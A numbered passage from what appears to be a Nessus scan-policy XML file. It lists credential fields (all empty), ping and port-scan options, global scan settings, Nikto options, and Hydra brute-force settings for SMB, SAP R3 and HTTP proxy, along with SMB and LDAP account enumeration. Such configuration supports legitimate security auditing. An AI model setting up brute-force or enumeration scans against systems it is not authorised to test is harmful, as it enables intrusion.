862 <fullName>Login configurations[entry]:Additional SMB domain (optional) (2) :</fullName>
863 <preferenceName>Additional SMB domain (optional) (2) :</preferenceName>
864 <preferenceType>entry</preferenceType>
865 <preferenceValues></preferenceValues>
866 <selectedValue></selectedValue>
867 </item>
868 <item><pluginName>Login configurations</pluginName>
869 <pluginId>10870</pluginId>
870 <fullName>Login configurations[entry]:Additional SMB account (3) :</fullName>
871 <preferenceName>Additional SMB account (3) :</preferenceName>
872 <preferenceType>entry</preferenceType>
873 <preferenceValues></preferenceValues>
874 <selectedValue></selectedValue>
875 </item>
876 <item><pluginName>Login configurations</pluginName>
877 <pluginId>10870</pluginId>
878 <fullName>Login configurations[password]:Additional SMB password (3) :</fullName>
879 <preferenceName>Additional SMB password (3) :</preferenceName>
880 <preferenceType>password</preferenceType>
881 <preferenceValues></preferenceValues>
882 <selectedValue></selectedValue>
883 </item>
884 <item><pluginName>Login configurations</pluginName>
885 <pluginId>10870</pluginId>
886 <fullName>Login configurations[entry]:Additional SMB domain (optional) (3) :</fullName>
887 <preferenceName>Additional SMB domain (optional) (3) :</preferenceName>
888 <preferenceType>entry</preferenceType>
889 <preferenceValues></preferenceValues>
890 <selectedValue></selectedValue>
891 </item>
892 <item><pluginName>Login configurations</pluginName>
893 <pluginId>10870</pluginId>
894 <fullName>Login configurations[checkbox]:Never send SMB credentials in clear text</fullName>
895 <preferenceName>Never send SMB credentials in clear text</preferenceName>
896 <preferenceType>checkbox</preferenceType>
897 <preferenceValues>yes</preferenceValues>
898 <selectedValue>yes</selectedValue>
899 </item>
900 <item><pluginName>Login configurations</pluginName>
901 <pluginId>10870</pluginId>
902 <fullName>Login configurations[checkbox]:Only use NTLMv2</fullName>
903 <preferenceName>Only use NTLMv2</preferenceName>
904 <preferenceType>checkbox</preferenceType>
905 <preferenceValues>no</preferenceValues>
906 <selectedValue>no</selectedValue>
907 </item>
908 <item><pluginName>Login configurations</pluginName>
909 <pluginId>10870</pluginId>
910 <fullName>Login configurations[checkbox]:Only use Kerberos authentication for SMB</fullName>
911 <preferenceName>Only use Kerberos authentication for SMB</preferenceName>
912 <preferenceType>checkbox</preferenceType>
913 <preferenceValues>no</preferenceValues>
914 <selectedValue>no</selectedValue>
915 </item>
916 <item><pluginName>SMB Registry : Start the Registry Service during the scan</pluginName>
917 <pluginId>35703</pluginId>
918 <fullName>SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan</fullName>
919 <preferenceName>Start the registry service during the scan</preferenceName>
920 <preferenceType>checkbox</preferenceType>
921 <preferenceValues>no</preferenceValues>
922 <selectedValue>no</selectedValue>
923 </item>
924 <item><pluginName>SMB Registry : Start the Registry Service during the scan</pluginName>
925 <pluginId>35703</pluginId>
926 <fullName>SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan</fullName>
927 <preferenceName>Enable administrative shares during the scan</preferenceName>
928 <preferenceType>checkbox</preferenceType>
929 <preferenceValues>no</preferenceValues>
930 <selectedValue>no</selectedValue>
931 </item>
932 <item><pluginName>Hydra: SMB</pluginName>
933 <pluginId>15884</pluginId>
934 <fullName>Hydra: SMB[radio]:Check local / domain accounts</fullName>
935 <preferenceName>Check local / domain accounts</preferenceName>
936 <preferenceType>radio</preferenceType>
937 <preferenceValues>Local accounts; Domain Accounts; Either</preferenceValues>
938 <selectedValue>Local accounts; Domain Accounts; Either</selectedValue>
939 </item>
940 <item><pluginName>Hydra: SMB</pluginName>
941 <pluginId>15884</pluginId>
942 <fullName>Hydra: SMB[checkbox]:Interpret passwords as NTLM hashes</fullName>
943 <preferenceName>Interpret passwords as NTLM hashes</preferenceName>
944 <preferenceType>checkbox</preferenceType>
945 <preferenceValues>no</preferenceValues>
946 <selectedValue>no</selectedValue>
947 </item>
948 <item><pluginName>Patch Management: SCCM Server Settings</pluginName>
949 <pluginId>57029</pluginId>
950 <fullName>Patch Management: SCCM Server Settings[entry]:SCCM Server :</fullName>
951 <preferenceName>SCCM Server :</preferenceName>
952 <preferenceType>entry</preferenceType>
953 <preferenceValues></preferenceValues>
954 <selectedValue></selectedValue>
955 </item>
956 <item><pluginName>Patch Management: SCCM Server Settings</pluginName>
957 <pluginId>57029</pluginId>
958 <fullName>Patch Management: SCCM Server Settings[entry]:SCCM Domain :</fullName>
959 <preferenceName>SCCM Domain :</preferenceName>
960 <preferenceType>entry</preferenceType>
961 <preferenceValues></preferenceValues>
962 <selectedValue></selectedValue>
963 </item>
964 <item><pluginName>Patch Management: SCCM Server Settings</pluginName>
965 <pluginId>57029</pluginId>
966 <fullName>Patch Management: SCCM Server Settings[entry]:SCCM Username :</fullName>
967 <preferenceName>SCCM Username :</preferenceName>
968 <preferenceType>entry</preferenceType>
969 <preferenceValues></preferenceValues>
970 <selectedValue></selectedValue>
971 </item>
972 <item><pluginName>Patch Management: SCCM Server Settings</pluginName>
973 <pluginId>57029</pluginId>
974 <fullName>Patch Management: SCCM Server Settings[password]:SCCM Password :</fullName>
975 <preferenceName>SCCM Password :</preferenceName>
976 <preferenceType>password</preferenceType>
977 <preferenceValues></preferenceValues>
978 <selectedValue></selectedValue>
979 </item>
980 <item><pluginName>Palo Alto Networks PAN-OS Settings</pluginName>
981 <pluginId>64286</pluginId>
982 <fullName>Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Username :</fullName>
983 <preferenceName>Palo Alto Username :</preferenceName>
984 <preferenceType>entry</preferenceType>
985 <preferenceValues></preferenceValues>
986 <selectedValue></selectedValue>
987 </item>
988 <item><pluginName>Palo Alto Networks PAN-OS Settings</pluginName>
989 <pluginId>64286</pluginId>
990 <fullName>Palo Alto Networks PAN-OS Settings[password]:Palo Alto Password :</fullName>
991 <preferenceName>Palo Alto Password :</preferenceName>
992 <preferenceType>password</preferenceType>
993 <preferenceValues></preferenceValues>
994 <selectedValue></selectedValue>
995 </item>
996 <item><pluginName>Palo Alto Networks PAN-OS Settings</pluginName>
997 <pluginId>64286</pluginId>
998 <fullName>Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Port :</fullName>
999 <preferenceName>Palo Alto Port :</preferenceName>
1000 <preferenceType>entry</preferenceType>
1001 <preferenceValues>443</preferenceValues>
1002 <selectedValue>443</selectedValue>
1003 </item>
1004 <item><pluginName>Palo Alto Networks PAN-OS Settings</pluginName>
1005 <pluginId>64286</pluginId>
1006 <fullName>Palo Alto Networks PAN-OS Settings[checkbox]:Verify SSL Certificate :</fullName>
1007 <preferenceName>Verify SSL Certificate :</preferenceName>
1008 <preferenceType>checkbox</preferenceType>
1009 <preferenceValues>no</preferenceValues>
1010 <selectedValue>no</selectedValue>
1011 </item>
1012 <item><pluginName>Port scanners settings</pluginName>
1013 <pluginId>33812</pluginId>
1014 <fullName>Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators</fullName>
1015 <preferenceName>Check open TCP ports found by local port enumerators</preferenceName>
1016 <preferenceType>checkbox</preferenceType>
1017 <preferenceValues>no</preferenceValues>
1018 <selectedValue>no</selectedValue>
1019 </item>
1020 <item><pluginName>Port scanners settings</pluginName>
1021 <pluginId>33812</pluginId>
1022 <fullName>Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed</fullName>
1023 <preferenceName>Only run network port scanners if local port enumeration failed</preferenceName>
1024 <preferenceType>checkbox</preferenceType>
1025 <preferenceValues>yes</preferenceValues>
1026 <selectedValue>yes</selectedValue>
1027 </item>
1028 <item><pluginName>VMware vCenter SOAP API Settings</pluginName>
1029 <pluginId>63060</pluginId>
1030 <fullName>VMware vCenter SOAP API Settings[entry]:VMware vCenter host :</fullName>
1031 <preferenceName>VMware vCenter host :</preferenceName>
1032 <preferenceType>entry</preferenceType>
1033 <preferenceValues></preferenceValues>
1034 <selectedValue></selectedValue>
1035 </item>
1036 <item><pluginName>VMware vCenter SOAP API Settings</pluginName>
1037 <pluginId>63060</pluginId>
1038 <fullName>VMware vCenter SOAP API Settings[entry]:VMware vCenter port :</fullName>
1039 <preferenceName>VMware vCenter port :</preferenceName>
1040 <preferenceType>entry</preferenceType>
1041 <preferenceValues>443</preferenceValues>
1042 <selectedValue>443</selectedValue>
1043 </item>
1044 <item><pluginName>VMware vCenter SOAP API Settings</pluginName>
1045 <pluginId>63060</pluginId>
1046 <fullName>VMware vCenter SOAP API Settings[entry]:VMware vCenter user name :</fullName>
1047 <preferenceName>VMware vCenter user name :</preferenceName>
1048 <preferenceType>entry</preferenceType>
1049 <preferenceValues></preferenceValues>
1050 <selectedValue></selectedValue>
1051 </item>
1052 <item><pluginName>VMware vCenter SOAP API Settings</pluginName>
1053 <pluginId>63060</pluginId>
1054 <fullName>VMware vCenter SOAP API Settings[password]:VMware vCenter password :</fullName>
1055 <preferenceName>VMware vCenter password :</preferenceName>
1056 <preferenceType>password</preferenceType>
1057 <preferenceValues></preferenceValues>
1058 <selectedValue></selectedValue>
1059 </item>
1060 <item><pluginName>VMware vCenter SOAP API Settings</pluginName>
1061 <pluginId>63060</pluginId>
1062 <fullName>VMware vCenter SOAP API Settings[checkbox]:SSL :</fullName>
1063 <preferenceName>SSL :</preferenceName>
1064 <preferenceType>checkbox</preferenceType>
1065 <preferenceValues>yes</preferenceValues>
1066 <selectedValue>yes</selectedValue>
1067 </item>
1068 <item><pluginName>VMware vCenter SOAP API Settings</pluginName>
1069 <pluginId>63060</pluginId>
1070 <fullName>VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate :</fullName>
1071 <preferenceName>Verify SSL Certificate :</preferenceName>
1072 <preferenceType>checkbox</preferenceType>
1073 <preferenceValues>no</preferenceValues>
1074 <selectedValue>no</selectedValue>
1075 </item>
1076 <item><pluginName>Patch Management: VMware Go Server Settings</pluginName>
1077 <pluginId>57026</pluginId>
1078 <fullName>Patch Management: VMware Go Server Settings[entry]:Host :</fullName>
1079 <preferenceName>Host :</preferenceName>
1080 <preferenceType>entry</preferenceType>
1081 <preferenceValues>services.shavlik.com</preferenceValues>
1082 <selectedValue>services.shavlik.com</selectedValue>
1083 </item>
1084 <item><pluginName>Patch Management: VMware Go Server Settings</pluginName>
1085 <pluginId>57026</pluginId>
1086 <fullName>Patch Management: VMware Go Server Settings[entry]:Port :</fullName>
1087 <preferenceName>Port :</preferenceName>
1088 <preferenceType>entry</preferenceType>
1089 <preferenceValues>443</preferenceValues>
1090 <selectedValue>443</selectedValue>
1091 </item>
1092 <item><pluginName>Patch Management: VMware Go Server Settings</pluginName>
1093 <pluginId>57026</pluginId>
1094 <fullName>Patch Management: VMware Go Server Settings[entry]:Username :</fullName>
1095 <preferenceName>Username :</preferenceName>
1096 <preferenceType>entry</preferenceType>
1097 <preferenceValues></preferenceValues>
1098 <selectedValue></selectedValue>
1099 </item>
1100 <item><pluginName>Patch Management: VMware Go Server Settings</pluginName>
1101 <pluginId>57026</pluginId>
1102 <fullName>Patch Management: VMware Go Server Settings[password]:Password :</fullName>
1103 <preferenceName>Password :</preferenceName>
1104 <preferenceType>password</preferenceType>
1105 <preferenceValues></preferenceValues>
1106 <selectedValue></selectedValue>
1107 </item>
1108 <item><pluginName>Patch Management: VMware Go Server Settings</pluginName>
1109 <pluginId>57026</pluginId>
1110 <fullName>Patch Management: VMware Go Server Settings[entry]:Domain :</fullName>
1111 <preferenceName>Domain :</preferenceName>
1112 <preferenceType>entry</preferenceType>
1113 <preferenceValues></preferenceValues>
1114 <selectedValue></selectedValue>
1115 </item>
1116 <item><pluginName>Patch Management: VMware Go Server Settings</pluginName>
1117 <pluginId>57026</pluginId>
1118 <fullName>Patch Management: VMware Go Server Settings[entry]:API path :</fullName>
1119 <preferenceName>API path :</preferenceName>
1120 <preferenceType>entry</preferenceType>
1121 <preferenceValues>/api/authenticationbroker/account/httpIssue.svc/</preferenceValues>
1122 <selectedValue>/api/authenticationbroker/account/httpIssue.svc/</selectedValue>
1123 </item>
1124 <item><pluginName>Patch Management: VMware Go Server Settings</pluginName>
1125 <pluginId>57026</pluginId>
1126 <fullName>Patch Management: VMware Go Server Settings[entry]:Authentication realm :</fullName>
1127 <preferenceName>Authentication realm :</preferenceName>
1128 <preferenceType>entry</preferenceType>
1129 <preferenceValues>https://services.shavlik.com/api/dataservices/v1r1/default.aspx</preferenceValues>
1130 <selectedValue>https://services.shavlik.com/api/dataservices/v1r1/default.aspx</selectedValue>
1131 </item>
1132 <item><pluginName>Patch Management: VMware Go Server Settings</pluginName>
1133 <pluginId>57026</pluginId>
1134 <fullName>Patch Management: VMware Go Server Settings[entry]:Service path :</fullName>
1135 <preferenceName>Service path :</preferenceName>
1136 <preferenceType>entry</preferenceType>
1137 <preferenceValues>/api/dataservices/v1r1/OData.svc/</preferenceValues>
1138 <selectedValue>/api/dataservices/v1r1/OData.svc/</selectedValue>
1139 </item>
1140 <item><pluginName>HTTP cookies import</pluginName>
1141 <pluginId>42893</pluginId>
1142 <fullName>HTTP cookies import[file]:Cookies file :</fullName>
1143 <preferenceName>Cookies file :</preferenceName>
1144 <preferenceType>file</preferenceType>
1145 <preferenceValues></preferenceValues>
1146 <selectedValue></selectedValue>
1147 </item>
1148 <item><pluginName>Ping the remote host</pluginName>
1149 <pluginId>10180</pluginId>
1150 <fullName>Ping the remote host[entry]:TCP ping destination port(s) :</fullName>
1151 <preferenceName>TCP ping destination port(s) :</preferenceName>
1152 <preferenceType>entry</preferenceType>
1153 <preferenceValues>built-in</preferenceValues>
1154 <selectedValue>built-in</selectedValue>
1155 </item>
1156 <item><pluginName>Ping the remote host</pluginName>
1157 <pluginId>10180</pluginId>
1158 <fullName>Ping the remote host[checkbox]:Do an ARP ping</fullName>
1159 <preferenceName>Do an ARP ping</preferenceName>
1160 <preferenceType>checkbox</preferenceType>
1161 <preferenceValues>yes</preferenceValues>
1162 <selectedValue>yes</selectedValue>
1163 </item>
1164 <item><pluginName>Ping the remote host</pluginName>
1165 <pluginId>10180</pluginId>
1166 <fullName>Ping the remote host[checkbox]:Do a TCP ping</fullName>
1167 <preferenceName>Do a TCP ping</preferenceName>
1168 <preferenceType>checkbox</preferenceType>
1169 <preferenceValues>yes</preferenceValues>
1170 <selectedValue>yes</selectedValue>
1171 </item>
1172 <item><pluginName>Ping the remote host</pluginName>
1173 <pluginId>10180</pluginId>
1174 <fullName>Ping the remote host[checkbox]:Do an ICMP ping</fullName>
1175 <preferenceName>Do an ICMP ping</preferenceName>
1176 <preferenceType>checkbox</preferenceType>
1177 <preferenceValues>yes</preferenceValues>
1178 <selectedValue>yes</selectedValue>
1179 </item>
1180 <item><pluginName>Ping the remote host</pluginName>
1181 <pluginId>10180</pluginId>
1182 <fullName>Ping the remote host[entry]:Number of retries (ICMP) :</fullName>
1183 <preferenceName>Number of retries (ICMP) :</preferenceName>
1184 <preferenceType>entry</preferenceType>
1185 <preferenceValues>2</preferenceValues>
1186 <selectedValue>2</selectedValue>
1187 </item>
1188 <item><pluginName>Ping the remote host</pluginName>
1189 <pluginId>10180</pluginId>
1190 <fullName>Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...)</fullName>
1191 <preferenceName>Do an applicative UDP ping (DNS,RPC...)</preferenceName>
1192 <preferenceType>checkbox</preferenceType>
1193 <preferenceValues>no</preferenceValues>
1194 <selectedValue>no</selectedValue>
1195 </item>
1196 <item><pluginName>Ping the remote host</pluginName>
1197 <pluginId>10180</pluginId>
1198 <fullName>Ping the remote host[checkbox]:Make the dead hosts appear in the report</fullName>
1199 <preferenceName>Make the dead hosts appear in the report</preferenceName>
1200 <preferenceType>checkbox</preferenceType>
1201 <preferenceValues>no</preferenceValues>
1202 <selectedValue>no</selectedValue>
1203 </item>
1204 <item><pluginName>Ping the remote host</pluginName>
1205 <pluginId>10180</pluginId>
1206 <fullName>Ping the remote host[checkbox]:Log live hosts in the report</fullName>
1207 <preferenceName>Log live hosts in the report</preferenceName>
1208 <preferenceType>checkbox</preferenceType>
1209 <preferenceValues>no</preferenceValues>
1210 <selectedValue>no</selectedValue>
1211 </item>
1212 <item><pluginName>Ping the remote host</pluginName>
1213 <pluginId>10180</pluginId>
1214 <fullName>Ping the remote host[checkbox]:Test the local Nessus host</fullName>
1215 <preferenceName>Test the local Nessus host</preferenceName>
1216 <preferenceType>checkbox</preferenceType>
1217 <preferenceValues>yes</preferenceValues>
1218 <selectedValue>yes</selectedValue>
1219 </item>
1220 <item><pluginName>Ping the remote host</pluginName>
1221 <pluginId>10180</pluginId>
1222 <fullName>Ping the remote host[checkbox]:Fast network discovery</fullName>
1223 <preferenceName>Fast network discovery</preferenceName>
1224 <preferenceType>checkbox</preferenceType>
1225 <preferenceValues>no</preferenceValues>
1226 <selectedValue>no</selectedValue>
1227 </item>
1228 <item><pluginName>LDAP &apos;Domain Admins&apos; Group Membership Enumeration</pluginName>
1229 <pluginId>58038</pluginId>
1230 <fullName>LDAP &apos;Domain Admins&apos; Group Membership Enumeration[entry]:LDAP user :</fullName>
1231 <preferenceName>LDAP user :</preferenceName>
1232 <preferenceType>entry</preferenceType>
1233 <preferenceValues></preferenceValues>
1234 <selectedValue></selectedValue>
1235 </item>
1236 <item><pluginName>LDAP &apos;Domain Admins&apos; Group Membership Enumeration</pluginName>
1237 <pluginId>58038</pluginId>
1238 <fullName>LDAP &apos;Domain Admins&apos; Group Membership Enumeration[password]:LDAP password :</fullName>
1239 <preferenceName>LDAP password :</preferenceName>
1240 <preferenceType>password</preferenceType>
1241 <preferenceValues></preferenceValues>
1242 <selectedValue></selectedValue>
1243 </item>
1244 <item><pluginName>LDAP &apos;Domain Admins&apos; Group Membership Enumeration</pluginName>
1245 <pluginId>58038</pluginId>
1246 <fullName>LDAP &apos;Domain Admins&apos; Group Membership Enumeration[entry]:Max results :</fullName>
1247 <preferenceName>Max results :</preferenceName>
1248 <preferenceType>entry</preferenceType>
1249 <preferenceValues>1000</preferenceValues>
1250 <selectedValue>1000</selectedValue>
1251 </item>
1252 <item><pluginName>Global variable settings</pluginName>
1253 <pluginId>12288</pluginId>
1254 <fullName>Global variable settings[checkbox]:Probe services on every port</fullName>
1255 <preferenceName>Probe services on every port</preferenceName>
1256 <preferenceType>checkbox</preferenceType>
1257 <preferenceValues>yes</preferenceValues>
1258 <selectedValue>yes</selectedValue>
1259 </item>
1260 <item><pluginName>Global variable settings</pluginName>
1261 <pluginId>12288</pluginId>
1262 <fullName>Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy</fullName>
1263 <preferenceName>Do not log in with user accounts not specified in the policy</preferenceName>
1264 <preferenceType>checkbox</preferenceType>
1265 <preferenceValues>no</preferenceValues>
1266 <selectedValue>no</selectedValue>
1267 </item>
1268 <item><pluginName>Global variable settings</pluginName>
1269 <pluginId>12288</pluginId>
1270 <fullName>Global variable settings[checkbox]:Enable CGI scanning</fullName>
1271 <preferenceName>Enable CGI scanning</preferenceName>
1272 <preferenceType>checkbox</preferenceType>
1273 <preferenceValues>no</preferenceValues>
1274 <selectedValue>no</selectedValue>
1275 </item>
1276 <item><pluginName>Global variable settings</pluginName>
1277 <pluginId>12288</pluginId>
1278 <fullName>Global variable settings[radio]:Network type</fullName>
1279 <preferenceName>Network type</preferenceName>
1280 <preferenceType>radio</preferenceType>
1281 <preferenceValues>Mixed (use RFC 1918);Private LAN;Public WAN (Internet)</preferenceValues>
1282 <selectedValue>Mixed (use RFC 1918);Private LAN;Public WAN (Internet)</selectedValue>
1283 </item>
1284 <item><pluginName>Global variable settings</pluginName>
1285 <pluginId>12288</pluginId>
1286 <fullName>Global variable settings[checkbox]:Enable experimental scripts</fullName>
1287 <preferenceName>Enable experimental scripts</preferenceName>
1288 <preferenceType>checkbox</preferenceType>
1289 <preferenceValues>no</preferenceValues>
1290 <selectedValue>no</selectedValue>
1291 </item>
1292 <item><pluginName>Global variable settings</pluginName>
1293 <pluginId>12288</pluginId>
1294 <fullName>Global variable settings[checkbox]:Thorough tests (slow)</fullName>
1295 <preferenceName>Thorough tests (slow)</preferenceName>
1296 <preferenceType>checkbox</preferenceType>
1297 <preferenceValues>no</preferenceValues>
1298 <selectedValue>no</selectedValue>
1299 </item>
1300 <item><pluginName>Global variable settings</pluginName>
1301 <pluginId>12288</pluginId>
1302 <fullName>Global variable settings[radio]:Report verbosity</fullName>
1303 <preferenceName>Report verbosity</preferenceName>
1304 <preferenceType>radio</preferenceType>
1305 <preferenceValues>Normal;Quiet;Verbose</preferenceValues>
1306 <selectedValue>Normal;Quiet;Verbose</selectedValue>
1307 </item>
1308 <item><pluginName>Global variable settings</pluginName>
1309 <pluginId>12288</pluginId>
1310 <fullName>Global variable settings[radio]:Report paranoia</fullName>
1311 <preferenceName>Report paranoia</preferenceName>
1312 <preferenceType>radio</preferenceType>
1313 <preferenceValues>Normal;Avoid false alarms;Paranoid (more false alarms)</preferenceValues>
1314 <selectedValue>Normal;Avoid false alarms;Paranoid (more false alarms)</selectedValue>
1315 </item>
1316 <item><pluginName>Global variable settings</pluginName>
1317 <pluginId>12288</pluginId>
1318 <fullName>Global variable settings[entry]:HTTP User-Agent</fullName>
1319 <preferenceName>HTTP User-Agent</preferenceName>
1320 <preferenceType>entry</preferenceType>
1321 <preferenceValues>Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)</preferenceValues>
1322 <selectedValue>Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)</selectedValue>
1323 </item>
1324 <item><pluginName>Global variable settings</pluginName>
1325 <pluginId>12288</pluginId>
1326 <fullName>Global variable settings[file]:SSL certificate to use :</fullName>
1327 <preferenceName>SSL certificate to use :</preferenceName>
1328 <preferenceType>file</preferenceType>
1329 <preferenceValues></preferenceValues>
1330 <selectedValue></selectedValue>
1331 </item>
1332 <item><pluginName>Global variable settings</pluginName>
1333 <pluginId>12288</pluginId>
1334 <fullName>Global variable settings[file]:SSL CA to trust :</fullName>
1335 <preferenceName>SSL CA to trust :</preferenceName>
1336 <preferenceType>file</preferenceType>
1337 <preferenceValues></preferenceValues>
1338 <selectedValue></selectedValue>
1339 </item>
1340 <item><pluginName>Global variable settings</pluginName>
1341 <pluginId>12288</pluginId>
1342 <fullName>Global variable settings[file]:SSL key to use :</fullName>
1343 <preferenceName>SSL key to use :</preferenceName>
1344 <preferenceType>file</preferenceType>
1345 <preferenceValues></preferenceValues>
1346 <selectedValue></selectedValue>
1347 </item>
1348 <item><pluginName>Global variable settings</pluginName>
1349 <pluginId>12288</pluginId>
1350 <fullName>Global variable settings[password]:SSL password for SSL key :</fullName>
1351 <preferenceName>SSL password for SSL key :</preferenceName>
1352 <preferenceType>password</preferenceType>
1353 <preferenceValues></preferenceValues>
1354 <selectedValue></selectedValue>
1355 </item>
1356 <item><pluginName>Hydra: SAP R3</pluginName>
1357 <pluginId>15883</pluginId>
1358 <fullName>Hydra: SAP R3[entry]:Client ID (between 0 and 99) :</fullName>
1359 <preferenceName>Client ID (between 0 and 99) :</preferenceName>
1360 <preferenceType>entry</preferenceType>
1361 <preferenceValues></preferenceValues>
1362 <selectedValue></selectedValue>
1363 </item>
1364 <item><pluginName>Cleartext protocols settings</pluginName>
1365 <pluginId>21744</pluginId>
1366 <fullName>Cleartext protocols settings[entry]:User name :</fullName>
1367 <preferenceName>User name :</preferenceName>
1368 <preferenceType>entry</preferenceType>
1369 <preferenceValues></preferenceValues>
1370 <selectedValue></selectedValue>
1371 </item>
1372 <item><pluginName>Cleartext protocols settings</pluginName>
1373 <pluginId>21744</pluginId>
1374 <fullName>Cleartext protocols settings[password]:Password (unsafe!) :</fullName>
1375 <preferenceName>Password (unsafe!) :</preferenceName>
1376 <preferenceType>password</preferenceType>
1377 <preferenceValues></preferenceValues>
1378 <selectedValue></selectedValue>
1379 </item>
1380 <item><pluginName>Cleartext protocols settings</pluginName>
1381 <pluginId>21744</pluginId>
1382 <fullName>Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet</fullName>
1383 <preferenceName>Try to perform patch level checks over telnet</preferenceName>
1384 <preferenceType>checkbox</preferenceType>
1385 <preferenceValues>no</preferenceValues>
1386 <selectedValue>no</selectedValue>
1387 </item>
1388 <item><pluginName>Cleartext protocols settings</pluginName>
1389 <pluginId>21744</pluginId>
1390 <fullName>Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh</fullName>
1391 <preferenceName>Try to perform patch level checks over rsh</preferenceName>
1392 <preferenceType>checkbox</preferenceType>
1393 <preferenceValues>no</preferenceValues>
1394 <selectedValue>no</selectedValue>
1395 </item>
1396 <item><pluginName>Cleartext protocols settings</pluginName>
1397 <pluginId>21744</pluginId>
1398 <fullName>Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec</fullName>
1399 <preferenceName>Try to perform patch level checks over rexec</preferenceName>
1400 <preferenceType>checkbox</preferenceType>
1401 <preferenceValues>no</preferenceValues>
1402 <selectedValue>no</selectedValue>
1403 </item>
1404 <item><pluginName>IBM iSeries Credentials</pluginName>
1405 <pluginId>57861</pluginId>
1406 <fullName>IBM iSeries Credentials[entry]:Login :</fullName>
1407 <preferenceName>Login :</preferenceName>
1408 <preferenceType>entry</preferenceType>
1409 <preferenceValues></preferenceValues>
1410 <selectedValue></selectedValue>
1411 </item>
1412 <item><pluginName>IBM iSeries Credentials</pluginName>
1413 <pluginId>57861</pluginId>
1414 <fullName>IBM iSeries Credentials[password]:Password :</fullName>
1415 <preferenceName>Password :</preferenceName>
1416 <preferenceType>password</preferenceType>
1417 <preferenceValues></preferenceValues>
1418 <selectedValue></selectedValue>
1419 </item>
1420 <item><pluginName>SMB Use Domain SID to Enumerate Users</pluginName>
1421 <pluginId>10399</pluginId>
1422 <fullName>SMB Use Domain SID to Enumerate Users[entry]:Start UID :</fullName>
1423 <preferenceName>Start UID :</preferenceName>
1424 <preferenceType>entry</preferenceType>
1425 <preferenceValues>1000</preferenceValues>
1426 <selectedValue>1000</selectedValue>
1427 </item>
1428 <item><pluginName>SMB Use Domain SID to Enumerate Users</pluginName>
1429 <pluginId>10399</pluginId>
1430 <fullName>SMB Use Domain SID to Enumerate Users[entry]:End UID :</fullName>
1431 <preferenceName>End UID :</preferenceName>
1432 <preferenceType>entry</preferenceType>
1433 <preferenceValues>1200</preferenceValues>
1434 <selectedValue>1200</selectedValue>
1435 </item>
1436 <item><pluginName>Do not scan fragile devices</pluginName>
1437 <pluginId>22481</pluginId>
1438 <fullName>Do not scan fragile devices[checkbox]:Scan Network Printers</fullName>
1439 <preferenceName>Scan Network Printers</preferenceName>
1440 <preferenceType>checkbox</preferenceType>
1441 <preferenceValues>no</preferenceValues>
1442 <selectedValue>no</selectedValue>
1443 </item>
1444 <item><pluginName>Do not scan fragile devices</pluginName>
1445 <pluginId>22481</pluginId>
1446 <fullName>Do not scan fragile devices[checkbox]:Scan Novell Netware hosts</fullName>
1447 <preferenceName>Scan Novell Netware hosts</preferenceName>
1448 <preferenceType>checkbox</preferenceType>
1449 <preferenceValues>no</preferenceValues>
1450 <selectedValue>no</selectedValue>
1451 </item>
1452 <item><pluginName>Hydra: HTTP proxy</pluginName>
1453 <pluginId>15874</pluginId>
1454 <fullName>Hydra: HTTP proxy[entry]:Web site (optional) :</fullName>
1455 <preferenceName>Web site (optional) :</preferenceName>
1456 <preferenceType>entry</preferenceType>
1457 <preferenceValues></preferenceValues>
1458 <selectedValue></selectedValue>
1459 </item>
1460 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1461 <pluginId>14260</pluginId>
1462 <fullName>Nikto (NASL wrapper)[checkbox]:Enable Nikto</fullName>
1463 <preferenceName>Enable Nikto</preferenceName>
1464 <preferenceType>checkbox</preferenceType>
1465 <preferenceValues>no</preferenceValues>
1466 <selectedValue>no</selectedValue>
1467 </item>
1468 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1469 <pluginId>14260</pluginId>
1470 <fullName>Nikto (NASL wrapper)[checkbox]:Disable if server never replies 404</fullName>
1471 <preferenceName>Disable if server never replies 404</preferenceName>
1472 <preferenceType>checkbox</preferenceType>
1473 <preferenceValues>yes</preferenceValues>
1474 <selectedValue>yes</selectedValue>
1475 </item>
1476 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1477 <pluginId>14260</pluginId>
1478 <fullName>Nikto (NASL wrapper)[entry]:Root directory</fullName>
1479 <preferenceName>Root directory</preferenceName>
1480 <preferenceType>entry</preferenceType>
1481 <preferenceValues></preferenceValues>
1482 <selectedValue></selectedValue>
1483 </item>
1484 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1485 <pluginId>14260</pluginId>
1486 <fullName>Nikto (NASL wrapper)[entry]:Pause between tests (s)</fullName>
1487 <preferenceName>Pause between tests (s)</preferenceName>
1488 <preferenceType>entry</preferenceType>
1489 <preferenceValues></preferenceValues>
1490 <selectedValue></selectedValue>
1491 </item>
1492 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1493 <pluginId>14260</pluginId>
1494 <fullName>Nikto (NASL wrapper)[radio]:Scan CGI directories</fullName>
1495 <preferenceName>Scan CGI directories</preferenceName>
1496 <preferenceType>radio</preferenceType>
1497 <preferenceValues>User supplied;All;None</preferenceValues>
1498 <selectedValue>User supplied;All;None</selectedValue>
1499 </item>
1500 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1501 <pluginId>14260</pluginId>
1502 <fullName>Nikto (NASL wrapper)[checkbox]:Display: 1 Show redirects</fullName>
1503 <preferenceName>Display: 1 Show redirects</preferenceName>
1504 <preferenceType>checkbox</preferenceType>
1505 <preferenceValues>no</preferenceValues>
1506 <selectedValue>no</selectedValue>
1507 </item>
1508 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1509 <pluginId>14260</pluginId>
1510 <fullName>Nikto (NASL wrapper)[checkbox]:Display: 2 Show cookies received</fullName>
1511 <preferenceName>Display: 2 Show cookies received</preferenceName>
1512 <preferenceType>checkbox</preferenceType>
